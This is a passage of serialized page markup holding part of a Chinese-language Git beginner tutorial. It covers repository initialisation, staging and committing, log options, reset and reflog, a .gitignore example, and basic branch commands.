(master)\n",[25522],{"type":18,"tag":74,"props":25523,"children":25524},{"__ignoreMap":8},[25525,25533,25551,25569,25601,25608],{"type":18,"tag":297,"props":25526,"children":25527},{"class":299,"line":300},[25528],{"type":18,"tag":297,"props":25529,"children":25530},{"style":5380},[25531],{"type":24,"value":25532},"# 初始化当前目录为一个git仓库\n",{"type":18,"tag":297,"props":25534,"children":25535},{"class":299,"line":657},[25536,25541,25546],{"type":18,"tag":297,"props":25537,"children":25538},{"style":304},[25539],{"type":24,"value":25540},"31245@HUAWEINotBook16",{"type":18,"tag":297,"props":25542,"children":25543},{"style":310},[25544],{"type":24,"value":25545}," MINGW64",{"type":18,"tag":297,"props":25547,"children":25548},{"style":310},[25549],{"type":24,"value":25550}," \u002Fd\u002FDailyFile\u002Fgit-test\u002Ftest01\n",{"type":18,"tag":297,"props":25552,"children":25553},{"class":299,"line":662},[25554,25559,25564],{"type":18,"tag":297,"props":25555,"children":25556},{"style":304},[25557],{"type":24,"value":25558},"$",{"type":18,"tag":297,"props":25560,"children":25561},{"style":310},[25562],{"type":24,"value":25563}," git",{"type":18,"tag":297,"props":25565,"children":25566},{"style":310},[25567],{"type":24,"value":25568}," init\n",{"type":18,"tag":297,"props":25570,"children":25571},{"class":299,"line":799},[25572,25577,25582,25587,25592,25596],{"type":18,"tag":297,"props":25573,"children":25574},{"style":304},[25575],{"type":24,"value":25576},"Initialized",{"type":18,"tag":297,"props":25578,"children":25579},{"style":310},[25580],{"type":24,"value":25581}," empty",{"type":18,"tag":297,"props":25583,"children":25584},{"style":310},[25585],{"type":24,"value":25586}," Git",{"type":18,"tag":297,"props":25588,"children":25589},{"style":310},[25590],{"type":24,"value":25591}," repository",{"type":18,"tag":297,"props":25593,"children":25594},{"style":310},[25595],{"type":24,"value":7272},{"type":18,"tag":297,"props":25597,"children":25598},{"style":310},[25599],{"type":24,"value":25600}," D:\u002FDailyFile\u002Fgit-test\u002Ftest01\u002F.git\u002F\n",{"type":18,"tag":297,"props":25602,"children":25603},{"class":299,"line":808},[25604],{"type":18,"tag":297,"props":25605,"children":25606},{"emptyLinePlaceholder":793},[25607],{"type":24,"value":796},{"type":18,"tag":297,"props":25609,"children":25610},{"class":299,"line":817},[25611,25615,25619,25624],{"type":18,"tag":297,"props":25612,"children":25613},{"style":304},[25614],{"type":24,"value":25540},{"type":18,"tag":297,"props":25616,"children":25617},{"style":310},[25618],{"type":24,"value":25545},{"type":18,"tag":297,"props":25620,"children":25621},{"style":310},[25622],{"type":24,"value":25623}," \u002Fd\u002FDailyFile\u002Fgit-test\u002Ftest01",{"type":18,"tag":297,"props":25625,"children":25626},{"style":327},[25627],{"type":24,"value":25628}," (master)\n",{"type":18,"tag":19,"props":25630,"children":25632},{"id":25631},"_3-基础操作指令",[25633],{"type":24,"value":25634},"3 基础操作指令",{"type":18,"tag":34,"props":25636,"children":25637},{},[25638,25640,25645],{"type":24,"value":25639},"Git工作目录下对于文件的",{"type":18,"tag":105,"props":25641,"children":25642},{},[25643],{"type":24,"value":25644},"修改",{"type":24,"value":25646},"（增删改）会存在几个状态，这些修改的状态会随着我们执行Git的命令而发生变化。",{"type":18,"tag":34,"props":25648,"children":25649},{},[25650],{"type":18,"tag":54,"props":25651,"children":25654},{"alt":25652,"src":25653},"1775717111156","\u002Fimages\u002Fblog\u002Fgit-basics\u002F1775717111156.png",[],{"type":18,"tag":34,"props":25656,"children":25657},{},[25658],{"type":24,"value":25659},"本教程主要讲解如何使用命令来控制这些状态之间的转换：",{"type":18,"tag":154,"props":25661,"children":25662},{},[25663,25693,25713],{"type":18,"tag":158,"props":25664,"children":25665},{},[25666,25672,25674,25679,25681,25686,25688],{"type":18,"tag":74,"props":25667,"children":25669},{"className":25668},[],[25670],{"type":24,"value":25671},"git add",{"type":24,"value":25673},"：将",{"type":18,"tag":105,"props":25675,"children":25676},{},[25677],{"type":24,"value":25678},"工作区",{"type":24,"value":25680},"中",{"type":18,"tag":105,"props":25682,"children":25683},{},[25684],{"type":24,"value":25685},"新增\u002F修改",{"type":24,"value":25687},"的文件 传入 ",{"type":18,"tag":105,"props":25689,"children":25690},{},[25691],{"type":24,"value":25692},"暂存区",{"type":18,"tag":158,"props":25694,"children":25695},{},[25696,25702,25703,25707,25709],{"type":18,"tag":74,"props":25697,"children":25699},{"className":25698},[],[25700],{"type":24,"value":25701},"git commit",{"type":24,"value":25673},{"type":18,"tag":105,"props":25704,"children":25705},{},[25706],{"type":24,"value":25692},{"type":24,"value":25708},"的文件 提交至 ",{"type":18,"tag":105,"props":25710,"children":25711},{},[25712],{"type":24,"value":5895},{"type":18,"tag":158,"props":25714,"children":25715},{},[25716,25722],{"type":18,"tag":74,"props":25717,"children":25719},{"className":25718},[],[25720],{"type":24,"value":25721},"git status",{"type":24,"value":25723},"：查看当前的文件状态",{"type":18,"tag":34,"props":25725,"children":25726},{},[25727],{"type":24,"value":25728},"如下图实例所示，观察每条git指令执行后文件状态的变化情况：",{"type":18,"tag":34,"props":25730,"children":25731},{},[25732],{"type":18,"tag":54,"props":25733,"children":25736},{"alt":25734,"src":25735},"1775718270816","\u002Fimages\u002Fblog\u002Fgit-basics\u002F1775718270816.png",[],{"type":18,"tag":34,"props":25738,"children":25739},{},[25740,25745],{"type":18,"tag":105,"props":25741,"children":25742},{},[25743],{"type":24,"value":25744},"提示",{"type":24,"value":222},{"type":18,"tag":154,"props":25747,"children":25748},{},[25749,25766,25784],{"type":18,"tag":158,"props":25750,"children":25751},{},[25752,25757,25759,25764],{"type":18,"tag":74,"props":25753,"children":25755},{"className":25754},[],[25756],{"type":24,"value":8473},{"type":24,"value":25758},"：常用 ",{"type":18,"tag":74,"props":25760,"children":25762},{"className":25761},[],[25763],{"type":24,"value":1147},{"type":24,"value":25765}," 代替所有文件，提升效率",{"type":18,"tag":158,"props":25767,"children":25768},{},[25769,25775,25776,25782],{"type":18,"tag":74,"props":25770,"children":25772},{"className":25771},[],[25773],{"type":24,"value":25774},"git commit -m \"commit_text\"",{"type":24,"value":222},{"type":18,"tag":74,"props":25777,"children":25779},{"className":25778},[],[25780],{"type":24,"value":25781},"commit_text",{"type":24,"value":25783}," 是文件提交至本地仓库时的注释",{"type":18,"tag":158,"props":25785,"children":25786},{},[25787,25793],{"type":18,"tag":74,"props":25788,"children":25790},{"className":25789},[],[25791],{"type":24,"value":25792},"git log",{"type":24,"value":25794},"：查看提交日志",{"type":18,"tag":34,"props":25796,"children":25797},{},[25798],{"type":18,"tag":54,"props":25799,"children":25802},{"alt":25800,"src":25801},"1775718899023","\u002Fimages\u002Fblog\u002Fgit-basics\u002F1775718899023.png",[],{"type":18,"tag":27,"props":25804,"children":25806},{"id":25805},"_31-查看修改的状态status",[25807],{"type":24,"value":25808},"3.1 查看修改的状态（status）",{"type":18,"tag":210,"props":25810,"children":25811},{},[25812,25821],{"type":18,"tag":158,"props":25813,"children":25814},{},[25815,25819],{"type":18,"tag":105,"props":25816,"children":25817},{},[25818],{"type":24,"value":10999},{"type":24,"value":25820},"：查看工作区与暂存区的修改状态",{"type":18,"tag":158,"props":25822,"children":25823},{},[25824,25829,25830],{"type":18,"tag":105,"props":25825,"children":25826},{},[25827],{"type":24,"value":25828},"命令形式",{"type":24,"value":222},{"type":18,"tag":287,"props":25831,"children":25833},{"className":289,"code":25832,"language":291,"meta":8,"style":8},"git status\n",[25834],{"type":18,"tag":74,"props":25835,"children":25836},{"__ignoreMap":8},[25837],{"type":18,"tag":297,"props":25838,"children":25839},{"class":299,"line":300},[25840,25844],{"type":18,"tag":297,"props":25841,"children":25842},{"style":304},[25843],{"type":24,"value":881},{"type":18,"tag":297,"props":25845,"children":25846},{"style":310},[25847],{"type":24,"value":25848}," status\n",{"type":18,"tag":27,"props":25850,"children":25852},{"id":25851},"_32-添加工作区到暂存区-add",[25853],{"type":24,"value":25854},"3.2 添加工作区到暂存区 (add)",{"type":18,"tag":210,"props":25856,"children":25857},{},[25858,25874],{"type":18,"tag":158,"props":25859,"children":25860},{},[25861,25865,25867,25872],{"type":18,"tag":105,"props":25862,"children":25863},{},[25864],{"type":24,"value":10999},{"type":24,"value":25866},"：将工作区中",{"type":18,"tag":105,"props":25868,"children":25869},{},[25870],{"type":24,"value":25871},"一个或多个文件",{"type":24,"value":25873},"的修改提交到暂存区",{"type":18,"tag":158,"props":25875,"children":25876},{},[25877,25881,25882],{"type":18,"tag":105,"props":25878,"children":25879},{},[25880],{"type":24,"value":25828},{"type":24,"value":222},{"type":18,"tag":287,"props":25883,"children":25885},{"className":289,"code":25884,"language":291,"meta":8,"style":8},"git add \u003C单个文件名> | \u003C通配符>\n# 将所有修改加入暂存区\ngit add .\n",[25886],{"type":18,"tag":74,"props":25887,"children":25888},{"__ignoreMap":8},[25889,25937,25945],{"type":18,"tag":297,"props":25890,"children":25891},{"class":299,"line":300},[25892,25896,25900,25905,25910,25915,25919,25924,25928,25933],{"type":18,"tag":297,"props":25893,"children":25894},{"style":304},[25895],{"type":24,"value":881},{"type":18,"tag":297,"props":25897,"children":25898},{"style":310},[25899],{"type":24,"value":886},{"type":18,"tag":297,"props":25901,"children":25902},{"style":316},[25903],{"type":24,"value":25904}," \u003C",{"type":18,"tag":297,"props":25906,"children":25907},{"style":310},[25908],{"type":24,"value":25909},"单个文件",{"type":18,"tag":297,"props":25911,"children":25912},{"style":327},[25913],{"type":24,"value":25914},"名",{"type":18,"tag":297,"props":25916,"children":25917},{"style":316},[25918],{"type":24,"value":11217},{"type":18,"tag":297,"props":25920,"children":25921},{"style":316},[25922],{"type":24,"value":25923}," |",{"type":18,"tag":297,"props":25925,"children":25926},{"style":316},[25927],{"type":24,"value":25904},{"type":18,"tag":297,"props":25929,"children":25930},{"style":304},[25931],{"type":24,"value":25932},"通配符",{"type":18,"tag":297,"props":25934,"children":25935},{"style":327},[25936],{"type":24,"value":335},{"type":18,"tag":297,"props":25938,"children":25939},{"class":299,"line":657},[25940],{"type":18,"tag":297,"props":25941,"children":25942},{"style":5380},[25943],{"type":24,"value":25944},"# 将所有修改加入暂存区\n",{"type":18,"tag":297,"props":25946,"children":25947},{"class":299,"line":662},[25948,25952,25956],{"type":18,"tag":297,"props":25949,"children":25950},{"style":304},[25951],{"type":24,"value":881},{"type":18,"tag":297,"props":25953,"children":25954},{"style":310},[25955],{"type":24,"value":886},{"type":18,"tag":297,"props":25957,"children":25958},{"style":310},[25959],{"type":24,"value":891},{"type":18,"tag":27,"props":25961,"children":25963},{"id":25962},"_33-提交暂存区到本地仓库-commit",[25964],{"type":24,"value":25965},"3.3 提交暂存区到本地仓库 (commit)",{"type":18,"tag":210,"props":25967,"children":25968},{},[25969,25978],{"type":18,"tag":158,"props":25970,"children":25971},{},[25972,25976],{"type":18,"tag":105,"props":25973,"children":25974},{},[25975],{"type":24,"value":10999},{"type":24,"value":25977},"：将暂存区的内容提交到本地仓库的当前分支，形成版本历史",{"type":18,"tag":158,"props":25979,"children":25980},{},[25981,25985,25986],{"type":18,"tag":105,"props":25982,"children":25983},{},[25984],{"type":24,"value":25828},{"type":24,"value":222},{"type":18,"tag":287,"props":25987,"children":25989},{"className":289,"code":25988,"language":291,"meta":8,"style":8},"git commit -m '\u003C注释内容>'\n",[25990],{"type":18,"tag":74,"props":25991,"children":25992},{"__ignoreMap":8},[25993],{"type":18,"tag":297,"props":25994,"children":25995},{"class":299,"line":300},[25996,26000,26004,26008],{"type":18,"tag":297,"props":25997,"children":25998},{"style":304},[25999],{"type":24,"value":881},{"type":18,"tag":297,"props":26001,"children":26002},{"style":310},[26003],{"type":24,"value":903},{"type":18,"tag":297,"props":26005,"children":26006},{"style":906},[26007],{"type":24,"value":909},{"type":18,"tag":297,"props":26009,"children":26010},{"style":310},[26011],{"type":24,"value":26012}," '\u003C注释内容>'\n",{"type":18,"tag":27,"props":26014,"children":26016},{"id":26015},"_34-查看提交日志log",[26017],{"type":24,"value":26018},"3.4 查看提交日志(log)",{"type":18,"tag":96,"props":26020,"children":26021},{},[26022],{"type":18,"tag":34,"props":26023,"children":26024},{},[26025,26027,26033,26035],{"type":24,"value":26026},"说明：在 1.3 中配置的别名 ",{"type":18,"tag":74,"props":26028,"children":26030},{"className":26029},[],[26031],{"type":24,"value":26032},"git-log",{"type":24,"value":26034}," 已包含下方参数，后续可直接使用指令 ",{"type":18,"tag":74,"props":26036,"children":26038},{"className":26037},[],[26039],{"type":24,"value":26032},{"type":18,"tag":210,"props":26041,"children":26042},{},[26043,26052],{"type":18,"tag":158,"props":26044,"children":26045},{},[26046,26050],{"type":18,"tag":105,"props":26047,"children":26048},{},[26049],{"type":24,"value":10999},{"type":24,"value":26051},"：查看版本提交记录（历史版本）",{"type":18,"tag":158,"props":26053,"children":26054},{},[26055,26059,26060],{"type":18,"tag":105,"props":26056,"children":26057},{},[26058],{"type":24,"value":25828},{"type":24,"value":222},{"type":18,"tag":287,"props":26061,"children":26063},{"className":289,"code":26062,"language":291,"meta":8,"style":8},"git log [option]\n",[26064],{"type":18,"tag":74,"props":26065,"children":26066},{"__ignoreMap":8},[26067],{"type":18,"tag":297,"props":26068,"children":26069},{"class":299,"line":300},[26070,26074,26079],{"type":18,"tag":297,"props":26071,"children":26072},{"style":304},[26073],{"type":24,"value":881},{"type":18,"tag":297,"props":26075,"children":26076},{"style":310},[26077],{"type":24,"value":26078}," log",{"type":18,"tag":297,"props":26080,"children":26081},{"style":327},[26082],{"type":24,"value":26083}," [option]\n",{"type":18,"tag":34,"props":26085,"children":26086},{},[26087],{"type":18,"tag":105,"props":26088,"children":26089},{},[26090],{"type":24,"value":26091},"常用可选参数（options）",{"type":18,"tag":210,"props":26093,"children":26094},{},[26095,26106,26117,26136],{"type":18,"tag":158,"props":26096,"children":26097},{},[26098,26104],{"type":18,"tag":74,"props":26099,"children":26101},{"className":26100},[],[26102],{"type":24,"value":26103},"--all",{"type":24,"value":26105},"：显示所有分支的提交日志",{"type":18,"tag":158,"props":26107,"children":26108},{},[26109,26115],{"type":18,"tag":74,"props":26110,"children":26112},{"className":26111},[],[26113],{"type":24,"value":26114},"--pretty=oneline",{"type":24,"value":26116},"：将提交信息显示为一行（简化输出）",{"type":18,"tag":158,"props":26118,"children":26119},{},[26120,26126,26128,26134],{"type":18,"tag":74,"props":26121,"children":26123},{"className":26122},[],[26124],{"type":24,"value":26125},"--abbrev-commit",{"type":24,"value":26127},"：使得输出的 ",{"type":18,"tag":74,"props":26129,"children":26131},{"className":26130},[],[26132],{"type":24,"value":26133},"commitId",{"type":24,"value":26135},"（版本号）更简短",{"type":18,"tag":158,"props":26137,"children":26138},{},[26139,26145],{"type":18,"tag":74,"props":26140,"children":26142},{"className":26141},[],[26143],{"type":24,"value":26144},"--graph",{"type":24,"value":26146},"：以图的形式（分支结构图）显示日志",{"type":18,"tag":27,"props":26148,"children":26150},{"id":26149},"_35-版本回退",[26151],{"type":24,"value":26152},"3.5 版本回退",{"type":18,"tag":210,"props":26154,"children":26155},{},[26156,26165],{"type":18,"tag":158,"props":26157,"children":26158},{},[26159,26163],{"type":18,"tag":105,"props":26160,"children":26161},{},[26162],{"type":24,"value":10999},{"type":24,"value":26164},"：版本切换（回退到历史指定版本）",{"type":18,"tag":158,"props":26166,"children":26167},{},[26168,26172,26173],{"type":18,"tag":105,"props":26169,"children":26170},{},[26171],{"type":24,"value":25828},{"type":24,"value":19800},{"type":18,"tag":287,"props":26174,"children":26176},{"className":289,"code":26175,"language":291,"meta":8,"style":8},"git reset --hard commitID\n",[26177],{"type":18,"tag":74,"props":26178,"children":26179},{"__ignoreMap":8},[26180],{"type":18,"tag":297,"props":26181,"children":26182},{"class":299,"line":300},[26183,26187,26192,26197],{"type":18,"tag":297,"props":26184,"children":26185},{"style":304},[26186],{"type":24,"value":881},{"type":18,"tag":297,"props":26188,"children":26189},{"style":310},[26190],{"type":24,"value":26191}," reset",{"type":18,"tag":297,"props":26193,"children":26194},{"style":906},[26195],{"type":24,"value":26196}," --hard",{"type":18,"tag":297,"props":26198,"children":26199},{"style":310},[26200],{"type":24,"value":26201}," commitID\n",{"type":18,"tag":210,"props":26203,"children":26204},{},[26205,26230,26266],{"type":18,"tag":158,"props":26206,"children":26207},{},[26208,26214,26216,26221,26223,26228],{"type":18,"tag":74,"props":26209,"children":26211},{"className":26210},[],[26212],{"type":24,"value":26213},"commitID",{"type":24,"value":26215}," 可通过 ",{"type":18,"tag":74,"props":26217,"children":26219},{"className":26218},[],[26220],{"type":24,"value":26032},{"type":24,"value":26222}," 或 ",{"type":18,"tag":74,"props":26224,"children":26226},{"className":26225},[],[26227],{"type":24,"value":25792},{"type":24,"value":26229}," 指令查看",{"type":18,"tag":158,"props":26231,"children":26232},{},[26233,26237,26239],{"type":18,"tag":105,"props":26234,"children":26235},{},[26236],{"type":24,"value":557},{"type":24,"value":26238},"：如何查看已经删除的提交记录？",{"type":18,"tag":287,"props":26240,"children":26242},{"className":289,"code":26241,"language":291,"meta":8,"style":8},"# 解决方案\ngit reflog\n",[26243],{"type":18,"tag":74,"props":26244,"children":26245},{"__ignoreMap":8},[26246,26254],{"type":18,"tag":297,"props":26247,"children":26248},{"class":299,"line":300},[26249],{"type":18,"tag":297,"props":26250,"children":26251},{"style":5380},[26252],{"type":24,"value":26253},"# 解决方案\n",{"type":18,"tag":297,"props":26255,"children":26256},{"class":299,"line":657},[26257,26261],{"type":18,"tag":297,"props":26258,"children":26259},{"style":304},[26260],{"type":24,"value":881},{"type":18,"tag":297,"props":26262,"children":26263},{"style":310},[26264],{"type":24,"value":26265}," reflog\n",{"type":18,"tag":158,"props":26267,"children":26268},{},[26269,26271],{"type":24,"value":26270},"该指令可以",{"type":18,"tag":105,"props":26272,"children":26273},{},[26274],{"type":24,"value":26275},"查看所有操作记录，包括已被删除的提交记录",{"type":18,"tag":27,"props":26277,"children":26279},{"id":26278},"_36-添加文件至忽略列表",[26280],{"type":24,"value":26281},"3.6 添加文件至忽略列表",{"type":18,"tag":34,"props":26283,"children":26284},{},[26285,26287,26292],{"type":24,"value":26286},"一般我们总会有些文件无需纳入Git的管理，也不希望它们总出现在未跟踪文件列表。通常都是些自动生成的文件，比如日志文件，或者编译过程中创建的临时文件等。在这种情况下，我们可以在工作目录中创建一个名为 ",{"type":18,"tag":74,"props":26288,"children":26290},{"className":26289},[],[26291],{"type":24,"value":718},{"type":24,"value":26293}," 的文件（文件名称固定），列出要忽略的文件模式。",{"type":18,"tag":34,"props":26295,"children":26296},{},[26297,26302],{"type":18,"tag":74,"props":26298,"children":26300},{"className":26299},[],[26301],{"type":24,"value":718},{"type":24,"value":26303}," 示例",{"type":18,"tag":287,"props":26305,"children":26307},{"className":726,"code":26306,"language":711,"meta":8,"style":8},"# no .a files\n*.a\n\n# but do track lib.a, even though you're ignoring .a files above\n!lib.a\n\n# only ignore the TODO file in the current directory, not subdir\u002FTODO\n\u002FTODO\n\n# ignore all files in the build\u002F directory\nbuild\u002F\n\n# ignore doc\u002Fnotes.txt, but not doc\u002Fserver\u002Farch.txt\ndoc\u002F*.txt\n\n# ignore all .pdf files in the doc\u002F directory\ndoc\u002F**\u002F*.pdf\n",[26308],{"type":18,"tag":74,"props":26309,"children":26310},{"__ignoreMap":8},[26311,26319,26327,26334,26342,26350,26357,26365,26373,26380,26388,26396,26403,26411,26419,26426,26434],{"type":18,"tag":297,"props":26312,"children":26313},{"class":299,"line":300},[26314],{"type":18,"tag":297,"props":26315,"children":26316},{},[26317],{"type":24,"value":26318},"# no .a files\n",{"type":18,"tag":297,"props":26320,"children":26321},{"class":299,"line":657},[26322],{"type":18,"tag":297,"props":26323,"children":26324},{},[26325],{"type":24,"value":26326},"*.a\n",{"type":18,"tag":297,"props":26328,"children":26329},{"class":299,"line":662},[26330],{"type":18,"tag":297,"props":26331,"children":26332},{"emptyLinePlaceholder":793},[26333],{"type":24,"value":796},{"type":18,"tag":297,"props":26335,"children":26336},{"class":299,"line":799},[26337],{"type":18,"tag":297,"props":26338,"children":26339},{},[26340],{"type":24,"value":26341},"# but do track lib.a, even though you're ignoring .a files above\n",{"type":18,"tag":297,"props":26343,"children":26344},{"class":299,"line":808},[26345],{"type":18,"tag":297,"props":26346,"children":26347},{},[26348],{"type":24,"value":26349},"!lib.a\n",{"type":18,"tag":297,"props":26351,"children":26352},{"class":299,"line":817},[26353],{"type":18,"tag":297,"props":26354,"children":26355},{"emptyLinePlaceholder":793},[26356],{"type":24,"value":796},{"type":18,"tag":297,"props":26358,"children":26359},{"class":299,"line":826},[26360],{"type":18,"tag":297,"props":26361,"children":26362},{},[26363],{"type":24,"value":26364},"# only ignore the TODO file in the current directory, not subdir\u002FTODO\n",{"type":18,"tag":297,"props":26366,"children":26367},{"class":299,"line":4524},[26368],{"type":18,"tag":297,"props":26369,"children":26370},{},[26371],{"type":24,"value":26372},"\u002FTODO\n",{"type":18,"tag":297,"props":26374,"children":26375},{"class":299,"line":4533},[26376],{"type":18,"tag":297,"props":26377,"children":26378},{"emptyLinePlaceholder":793},[26379],{"type":24,"value":796},{"type":18,"tag":297,"props":26381,"children":26382},{"class":299,"line":4546},[26383],{"type":18,"tag":297,"props":26384,"children":26385},{},[26386],{"type":24,"value":26387},"# ignore all files in the build\u002F directory\n",{"type":18,"tag":297,"props":26389,"children":26390},{"class":299,"line":4555},[26391],{"type":18,"tag":297,"props":26392,"children":26393},{},[26394],{"type":24,"value":26395},"build\u002F\n",{"type":18,"tag":297,"props":26397,"children":26398},{"class":299,"line":4568},[26399],{"type":18,"tag":297,"props":26400,"children":26401},{"emptyLinePlaceholder":793},[26402],{"type":24,"value":796},{"type":18,"tag":297,"props":26404,"children":26405},{"class":299,"line":4577},[26406],{"type":18,"tag":297,"props":26407,"children":26408},{},[26409],{"type":24,"value":26410},"# ignore doc\u002Fnotes.txt, but not doc\u002Fserver\u002Farch.txt\n",{"type":18,"tag":297,"props":26412,"children":26413},{"class":299,"line":4590},[26414],{"type":18,"tag":297,"props":26415,"children":26416},{},[26417],{"type":24,"value":26418},"doc\u002F*.txt\n",{"type":18,"tag":297,"props":26420,"children":26421},{"class":299,"line":4599},[26422],{"type":18,"tag":297,"props":26423,"children":26424},{"emptyLinePlaceholder":793},[26425],{"type":24,"value":796},{"type":18,"tag":297,"props":26427,"children":26428},{"class":299,"line":4607},[26429],{"type":18,"tag":297,"props":26430,"children":26431},{},[26432],{"type":24,"value":26433},"# ignore all .pdf files in the doc\u002F directory\n",{"type":18,"tag":297,"props":26435,"children":26436},{"class":299,"line":4616},[26437],{"type":18,"tag":297,"props":26438,"children":26439},{},[26440],{"type":24,"value":26441},"doc\u002F**\u002F*.pdf\n",{"type":18,"tag":19,"props":26443,"children":26445},{"id":26444},"_4-分支",[26446],{"type":24,"value":26447},"4 分支",{"type":18,"tag":34,"props":26449,"children":26450},{},[26451],{"type":24,"value":26452},"几乎所有的版本控制系统都以某种形式支持分支。使用分支意味着你可以把你的工作从开发主线上分离开来进行重大的Bug修改、开发新的功能，以免影响开发主线。",{"type":18,"tag":27,"props":26454,"children":26456},{"id":26455},"_41-查看本地分支",[26457],{"type":24,"value":26458},"4.1 查看本地分支",{"type":18,"tag":210,"props":26460,"children":26461},{},[26462],{"type":18,"tag":158,"props":26463,"children":26464},{},[26465,26469,26470],{"type":18,"tag":105,"props":26466,"children":26467},{},[26468],{"type":24,"value":5780},{"type":24,"value":19800},{"type":18,"tag":287,"props":26471,"children":26473},{"className":289,"code":26472,"language":291,"meta":8,"style":8},"git branch\n",[26474],{"type":18,"tag":74,"props":26475,"children":26476},{"__ignoreMap":8},[26477],{"type":18,"tag":297,"props":26478,"children":26479},{"class":299,"line":300},[26480,26484],{"type":18,"tag":297,"props":26481,"children":26482},{"style":304},[26483],{"type":24,"value":881},{"type":18,"tag":297,"props":26485,"children":26486},{"style":310},[26487],{"type":24,"value":26488}," branch\n",{"type":18,"tag":27,"props":26490,"children":26492},{"id":26491},"_42-创建本地分支",[26493],{"type":24,"value":26494},"4.2 创建本地分支",{"type":18,"tag":210,"props":26496,"children":26497},{},[26498],{"type":18,"tag":158,"props":26499,"children":26500},{},[26501,26503],{"type":24,"value":26502},"命令：",{"type":18,"tag":287,"props":26504,"children":26506},{"className":289,"code":26505,"language":291,"meta":8,"style":8},"git branch \u003C分支名>\n",[26507],{"type":18,"tag":74,"props":26508,"children":26509},{"__ignoreMap":8},[26510],{"type":18,"tag":297,"props":26511,"children":26512},{"class":299,"line":300},[26513,26517,26521,26525,26530,26534],{"type":18,"tag":297,"props":26514,"children":26515},{"style":304},[26516],{"type":24,"value":881},{"type":18,"tag":297,"props":26518,"children":26519},{"style":310},[26520],{"type":24,"value":7942},{"type":18,"tag":297,"props":26522,"children":26523},{"style":316},[26524],{"type":24,"value":25904},{"type":18,"tag":297,"props":26526,"children":26527},{"style":310},[26528],{"type":24,"value":26529},"分支",{"type":18,"tag":297,"props":26531,"children":26532},{"style":327},[26533],{"type":24,"value":25914},{"type":18,"tag":297,"props":26535,"children":26536},{"style":316},[26537],{"type":24,"value":335},{"type":18,"tag":27,"props":26539,"children":26541},{"id":26540},"_43-切换分支-checkout",[26542],{"type":24,"value":26543},"4.3 切换分支 (checkout)",{"type":18,"tag":210,"props":26545,"children":26546},{},[26547,26585],{"type":18,"tag":158,"props":26548,"children":26549},{},[26550,26551],{"type":24,"value":26502},{"type":18,"tag":287,"props":26552,"children":26554},{"className":289,"code":26553,"language":291,"meta":8,"style":8},"git checkout \u003C分支名>\n",[26555],{"type":18,"tag":74,"props":26556,"children":26557},{"__ignoreMap":8},[26558],{"type":18,"tag":297,"props":26559,"children":26560},{"class":299,"line":300},[26561,26565,26569,26573,26577,26581],{"type":18,"tag":297,"props":26562,"children":26563},{"style":304},[26564],{"type":24,"value":881},{"type":18,"tag":297,"props":26566,"children":26567},{"style":310},[26568],{"type":24,"value":5593},{"type":18,"tag":297,"props":26570,"children":26571},{"style":316},[26572],{"type":24,"value":25904},{"type":18,"tag":297,"props":26574,"children":26575},{"style":310},[26576],{"type":24,"value":26529},{"type":18,"tag":297,"props":26578,"children":26579},{"style":327},[26580],{"type":24,"value":25914},{"type":18,"tag":297,"props":26582,"children":26583},{"style":316},[26584],{"type":24,"value":335},{"type":18,"tag":158,"props":26586,"children":26587},{},[26588,26590],{"type":24,"value":26589},"创建并切换到新分支（一步完成）：",{"type":18,"tag":287,"props":26591,"children":26593},{"className":289,"code":26592,"language":291,"meta":8,"style":8},"git checkout -b \u003C分支名>\n",[26594],{"type":18,"tag":74,"props":26595,"children":26596},{"__ignoreMap":8},[26597],{"type":18,"tag":297,"props":26598,"children":26599},{"class":299,"line":300},[26600,26604,26608,26613,26617,26621,26625],{"type":18,"tag":297,"props":26601,"children":26602},{"style":304},[26603],{"type":24,"value":881},{"type":18,"tag":297,"props":26605,"children":26606},{"style":310},[26607],{"type":24,"value":5593},{"type":18,"tag":297,"props":26609,"children":26610},{"style":906},[26611],{"type":24,"value":26612}," -b",{"type":18,"tag":297,"props":26614,"children":26615},{"style":316},[26616],{"type":24,"value":25904},{"type":18,"tag":297,"props":26618,"children":26619},{"style":310},[26620],{"type":24,"value":26529},{"type":18,"tag":297,"props":26622,"children":26623},{"style":327},[26624],{"type":24,"value":25914},{"type":18,"tag":297,"props":26626,"children":26627},{"style":316},[26628],{"type":24,"value":335},{"type":18,"tag":27,"props":26630,"children":26632},{"id":26631},"_44-合并分支-merge",[26633],{"type":24,"value":26634},"4.4 合并分支 (merge)",{"type":18,"tag":210,"props":26636,"children":26637},{},[26638,26647],{"type":18,"tag":158,"props":26639,"children":26640},{},[26641,26645],{"type":18,"tag":105,"props":26642,"children":26643},{},[26644],{"type":24,"value":10999},{"type":24,"value":26646},"：将一个分支上的提交合并到当前分支",{"type":18,"tag":158,"props":26648,"children":26649},{},[26650,26651],{"type":24,"value":26502},{"type":18,"tag":287,"props":26652,"children":26654},{"className":289,"code":26653,"language":291,"meta":8,"style":8},"git merge \u003C分支名称>\n",[26655],{"type":18,"tag":74,"props":26656,"children":26657},{"__ignoreMap":8},[26658],{"type":18,"tag":297,"props":26659,"children":26660},{"class":299,"line":300},[26661,26665,26670,26674,26679,26684],{"type":18,"tag":297,"props":26662,"children":26663},{"style":304},[26664],{"type":24,"value":881},{"type":18,"tag":297,"props":26666,"children":26667},{"style":310},[26668],{"type":24,"value":26669}," merge",{"type":18,"tag":297,"props":26671,"children":26672},{"style":316},[26673],{"type":24,"value":25904},{"type":18,"tag":297,"props":26675,"children":26676},{"style":310},[26677],{"type":24,"value":26678},"分支名",{"type":18,"tag":297,"props":26680,"children":26681},{"style":327},[26682],{"type":24,"value":26683},"称",{"type":18,"tag":297,"props":26685,"children":26686},{"style":316},[26687],{"type":24,"value":335},{"type":18,"tag":27,"props":26689,"children":26691},{"id":26690},"_45-删除分支",[26692],{"type":24,"value":26693},"4.5 删除分支",{"type":18,"tag":210,"props":26695,"children":26696},{},[26697,26730],{"type":18,"tag":158,"props":26698,"children":26699},{},[26700,26705],{"type":18,"tag":105,"props":26701,"children":26702},{},[26703],{"type":24,"value":26704},"不能删除当前分支，只能删除其他分支",{"type":18,"tag":210,"props":26706,"children":26707},{},[26708,26719],{"type":18,"tag":158,"props":26709,"children":26710},{},[26711,26717],{"type":18,"tag":74,"props":26712,"children":26714},{"className":26713},[],[26715],{"type":24,"value":26716},"git branch -d \u003C分支名>",{"type":24,"value":26718},"：删除分支时，需要做各种检查",{"type":18,"tag":158,"props":26720,"children":26721},{},[26722,26728],{"type":18,"tag":74,"props":26723,"children":26725},{"className":26724},[],[26726],{"type":24,"value":26727},"git branch -D 